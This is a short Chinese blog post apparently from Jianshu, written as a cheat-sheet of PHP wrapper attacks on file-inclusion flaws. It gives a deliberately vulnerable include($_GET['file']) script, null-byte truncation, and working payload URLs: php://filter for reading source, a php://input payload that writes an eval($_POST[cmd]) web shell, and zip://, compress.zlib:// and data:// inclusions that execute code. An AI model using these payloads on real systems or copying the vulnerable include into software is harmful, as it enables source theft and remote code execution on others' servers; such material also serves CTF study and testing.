php伪协议

test.php

<?php

include($_GET['file'])

?>

情况一:不需要截断:

test.php

情况二:需要截断:

<?php

include($_GET['file'].’.php’)

?>

php<=5.2
%00截断

【file://协议】

使用方法:

file:// [文件的绝对路径和文件名]

file://协议

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
base64read

php://input

php://input
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 
写shell

【zip://协议】

http://localhost/test.php?file=zip://D:/phpStudy/WWW/txf.zip%23txf.txt
zip

【bzip2://协议】

http://localhost/test.php?file=compress.zlib://./txf.txt
bzip2

【data://协议】

http://localhost/test.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/test.php?file=data:text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://协议
PHP封装协议
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 首先归纳下常见的文件包含函数:include、require、include_once、require_once、...
    查无此人asdasd阅读 870评论 1 3
  • PHP伪协议在CTF中经常出现,也经常跟文件包含,文件上传,命令执行等漏洞结合在一起,所以本文章对常见的一些协议进...
    ch3ckr阅读 8,019评论 0 3
  • 深夜。 大街上没了白天的喧闹,只有橘色和白色的路灯洒在地上的一片光亮,偶有几辆车驶过,轮胎和柏油马路摩擦发出“哗哗...
    初雪夏霜阅读 344评论 0 4
  • 昨晚深夜刷了一部电影《六弄咖啡馆》。 像所有青春片一样,故事里总有一个特别仗义的好兄弟,会一起念书,逃课,胡闹,帮...
    伍槿荣阅读 372评论 0 1
  • 敬爱的李老师、智慧的马教授、大爱的王院长,亲爱的家人们,大家晚上好,我是长兴南方医院的祁运腾,今天是2018年10...
    祁运腾阅读 191评论 0 1